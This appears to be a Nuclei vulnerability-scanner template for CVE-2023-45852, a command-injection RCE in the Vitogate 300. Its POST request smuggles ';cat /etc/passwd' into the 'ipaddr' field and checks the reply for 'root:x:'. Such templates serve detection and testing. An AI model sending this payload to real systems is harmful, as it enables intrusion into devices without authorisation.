id: CVE-2023-45852
info:
  name: Vitogate 300 RCE
  author: pdteam
  severity: high

http:
  - method: POST
    path:
      - "/cgi-bin/vitogate.cgi"
    headers:
      Content-Type: "application/json"
    body: |
      {"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"{{randstr}};cat /etc/passwd"}}
    matchers:
      - type: word
        words:
          - "root:x:"
